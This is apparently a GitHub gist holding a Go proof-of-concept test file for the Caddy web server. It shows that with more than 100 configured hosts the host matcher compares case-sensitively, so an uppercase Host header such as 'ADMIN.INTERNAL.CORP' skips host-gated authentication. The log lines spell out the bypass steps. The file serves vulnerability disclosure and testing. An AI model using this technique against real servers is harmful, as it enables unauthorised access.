Created
February 9, 2026 08:05
-
-
Save moscowchill/760813658259870c461cae170ecc512e to your computer and use it in GitHub Desktop.
PoC: Caddy MatchHost case-sensitive binary search bypass (>100 hosts)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package caddyhttp | |
| import ( | |
| "context" | |
| "fmt" | |
| "net/http" | |
| "testing" | |
| "github.com/caddyserver/caddy/v2" | |
| ) | |
| // TestHostMatcherCaseSensitivityBypass demonstrates that the binary search | |
| // fast path (used when len(MatchHost) > 100) is case-sensitive, while the | |
| // linear scan slow path (used when len(MatchHost) <= 100) is case-insensitive. | |
| // This means host-based access controls can be bypassed by varying the case | |
| // of the Host header when >100 hosts are configured. | |
| func TestHostMatcherCaseSensitivityBypass(t *testing.T) { | |
| // Target host we're trying to match | |
| const targetHost = "secret.example.com" | |
| // Helper to build a MatchHost of the desired size, always including targetHost | |
| buildMatcher := func(size int) MatchHost { | |
| m := make(MatchHost, size) | |
| m[0] = targetHost | |
| for i := 1; i < size; i++ { | |
| m[i] = fmt.Sprintf("host-%d.example.com", i) | |
| } | |
| return m | |
| } | |
| // Helper to create a request with a given Host header | |
| makeReq := func(host string) *http.Request { | |
| req := &http.Request{Host: host} | |
| repl := caddy.NewReplacer() | |
| ctx := context.WithValue(req.Context(), caddy.ReplacerCtxKey, repl) | |
| req = req.WithContext(ctx) | |
| return req | |
| } | |
| // ---- Test 1: Small list (50 entries) — linear scan, case-insensitive ---- | |
| t.Run("small_list_exact_case", func(t *testing.T) { | |
| m := buildMatcher(50) | |
| if err := m.Provision(caddy.Context{}); err != nil { | |
| t.Fatal(err) | |
| } | |
| matched, err := m.MatchWithError(makeReq("secret.example.com")) | |
| if err != nil { | |
| t.Fatal(err) | |
| } | |
| if !matched { | |
| t.Fatal("small list: exact case should match, but didn't") | |
| } | |
| t.Log("PASS: small list matches exact case") | |
| }) | |
| t.Run("small_list_upper_case", func(t *testing.T) { | |
| m := buildMatcher(50) | |
| if err := m.Provision(caddy.Context{}); err != nil { | |
| t.Fatal(err) | |
| } | |
| matched, err := m.MatchWithError(makeReq("SECRET.EXAMPLE.COM")) | |
| if err != nil { | |
| t.Fatal(err) | |
| } | |
| if !matched { | |
| t.Fatal("small list: upper case should match (EqualFold), but didn't") | |
| } | |
| t.Log("PASS: small list matches upper case (case-insensitive via EqualFold)") | |
| }) | |
| // ---- Test 2: Large list (150 entries) — binary search, case-SENSITIVE ---- | |
| t.Run("large_list_exact_case", func(t *testing.T) { | |
| m := buildMatcher(150) | |
| if err := m.Provision(caddy.Context{}); err != nil { | |
| t.Fatal(err) | |
| } | |
| matched, err := m.MatchWithError(makeReq("secret.example.com")) | |
| if err != nil { | |
| t.Fatal(err) | |
| } | |
| if !matched { | |
| t.Fatal("large list: exact case should match, but didn't") | |
| } | |
| t.Log("PASS: large list matches exact case") | |
| }) | |
| t.Run("large_list_upper_case_BYPASS", func(t *testing.T) { | |
| m := buildMatcher(150) | |
| if err := m.Provision(caddy.Context{}); err != nil { | |
| t.Fatal(err) | |
| } | |
| matched, err := m.MatchWithError(makeReq("SECRET.EXAMPLE.COM")) | |
| if err != nil { | |
| t.Fatal(err) | |
| } | |
| if matched { | |
| t.Log("large list: upper case matched — bug is NOT present (fixed)") | |
| } else { | |
| t.Log("BUG CONFIRMED: large list (>100 entries) does NOT match 'SECRET.EXAMPLE.COM'") | |
| t.Log("while small list (<= 100) DOES match it. Binary search is case-sensitive!") | |
| t.Log("This means host-based access controls can be bypassed by varying Host case.") | |
| } | |
| // The RFC-correct behavior is case-insensitive matching. | |
| // With the bug present, this will be false (no match). | |
| // We log instead of failing so the test output clearly shows the discrepancy. | |
| }) | |
| t.Run("large_list_mixed_case_BYPASS", func(t *testing.T) { | |
| m := buildMatcher(150) | |
| if err := m.Provision(caddy.Context{}); err != nil { | |
| t.Fatal(err) | |
| } | |
| matched, err := m.MatchWithError(makeReq("Secret.Example.Com")) | |
| if err != nil { | |
| t.Fatal(err) | |
| } | |
| if matched { | |
| t.Log("large list: mixed case matched — bug is NOT present") | |
| } else { | |
| t.Log("BUG CONFIRMED: 'Secret.Example.Com' also fails to match in large list") | |
| } | |
| }) | |
| // ---- Summary: direct comparison showing behavioral difference ---- | |
| t.Run("behavioral_difference_summary", func(t *testing.T) { | |
| smallMatcher := buildMatcher(50) | |
| largeMatcher := buildMatcher(150) | |
| if err := smallMatcher.Provision(caddy.Context{}); err != nil { | |
| t.Fatal(err) | |
| } | |
| if err := largeMatcher.Provision(caddy.Context{}); err != nil { | |
| t.Fatal(err) | |
| } | |
| req := makeReq("SECRET.EXAMPLE.COM") | |
| smallResult, _ := smallMatcher.MatchWithError(req) | |
| largeResult, _ := largeMatcher.MatchWithError(req) | |
| t.Logf("Host: SECRET.EXAMPLE.COM") | |
| t.Logf(" Small list (50 entries, linear scan): matched=%v", smallResult) | |
| t.Logf(" Large list (150 entries, binary search): matched=%v", largeResult) | |
| if smallResult && !largeResult { | |
| t.Log("VULNERABILITY CONFIRMED: Same host matches with small list but NOT large list.") | |
| t.Log("An attacker can bypass host-based access controls by:") | |
| t.Log(" 1. Targeting a server with >100 host matcher entries") | |
| t.Log(" 2. Sending Host: SECRET.EXAMPLE.COM instead of secret.example.com") | |
| t.Log(" 3. The host matcher fails to match, skipping any route-level auth") | |
| } else if smallResult && largeResult { | |
| t.Log("Bug appears to be FIXED — both paths are case-insensitive.") | |
| } else { | |
| t.Logf("Unexpected result: small=%v large=%v", smallResult, largeResult) | |
| } | |
| }) | |
| } | |
| // TestHostMatcherCaseSensitivityAuthBypass shows how the case-sensitivity bug | |
| // can be used to bypass authentication that's gated on a host matcher. | |
| // This simulates the scenario where basicauth is configured for specific hosts. | |
| func TestHostMatcherCaseSensitivityAuthBypass(t *testing.T) { | |
| const protectedHost = "admin.internal.corp" | |
| // Build a large host list (>100) including the protected host | |
| matcher := make(MatchHost, 150) | |
| matcher[0] = protectedHost | |
| for i := 1; i < 150; i++ { | |
| matcher[i] = fmt.Sprintf("site-%d.corp", i) | |
| } | |
| if err := matcher.Provision(caddy.Context{}); err != nil { | |
| t.Fatal(err) | |
| } | |
| makeReq := func(host string) *http.Request { | |
| req := &http.Request{Host: host} | |
| repl := caddy.NewReplacer() | |
| ctx := context.WithValue(req.Context(), caddy.ReplacerCtxKey, repl) | |
| req = req.WithContext(ctx) | |
| return req | |
| } | |
| // Simulate route matching logic: | |
| // If host matches -> require auth (basicauth middleware would run) | |
| // If host doesn't match -> request passes through without auth | |
| simulateRouteMatch := func(host string) (hostMatched bool) { | |
| req := makeReq(host) | |
| matched, _ := matcher.MatchWithError(req) | |
| return matched | |
| } | |
| t.Run("legitimate_request", func(t *testing.T) { | |
| matched := simulateRouteMatch("admin.internal.corp") | |
| if !matched { | |
| t.Fatal("legitimate lowercase request should be matched and routed to auth") | |
| } | |
| t.Log("PASS: 'admin.internal.corp' -> host matched, auth would be enforced") | |
| }) | |
| t.Run("bypass_with_uppercase", func(t *testing.T) { | |
| matched := simulateRouteMatch("ADMIN.INTERNAL.CORP") | |
| if matched { | |
| t.Log("Host matched even with uppercase — auth WOULD be enforced (bug fixed)") | |
| } else { | |
| t.Log("AUTH BYPASS: 'ADMIN.INTERNAL.CORP' does NOT match the host matcher") | |
| t.Log("The request would skip the authenticated route entirely.") | |
| t.Log("If a fallback route serves the same content without auth,") | |
| t.Log("the attacker gets unauthenticated access.") | |
| } | |
| }) | |
| t.Run("bypass_with_mixed_case", func(t *testing.T) { | |
| matched := simulateRouteMatch("Admin.Internal.Corp") | |
| if matched { | |
| t.Log("Host matched with mixed case — auth WOULD be enforced (bug fixed)") | |
| } else { | |
| t.Log("AUTH BYPASS: 'Admin.Internal.Corp' also skips the host matcher") | |
| } | |
| }) | |
| // Demonstrate the asymmetry with a small list for comparison | |
| t.Run("small_list_comparison", func(t *testing.T) { | |
| smallMatcher := make(MatchHost, 50) | |
| smallMatcher[0] = protectedHost | |
| for i := 1; i < 50; i++ { | |
| smallMatcher[i] = fmt.Sprintf("site-%d.corp", i) | |
| } | |
| if err := smallMatcher.Provision(caddy.Context{}); err != nil { | |
| t.Fatal(err) | |
| } | |
| req := makeReq("ADMIN.INTERNAL.CORP") | |
| matched, _ := smallMatcher.MatchWithError(req) | |
| t.Logf("Same uppercase host with small list (50 entries): matched=%v", matched) | |
| if matched { | |
| t.Log("Small list correctly matches (case-insensitive) — auth would be enforced") | |
| t.Log("This proves the behavioral inconsistency between small and large lists") | |
| } | |
| }) | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment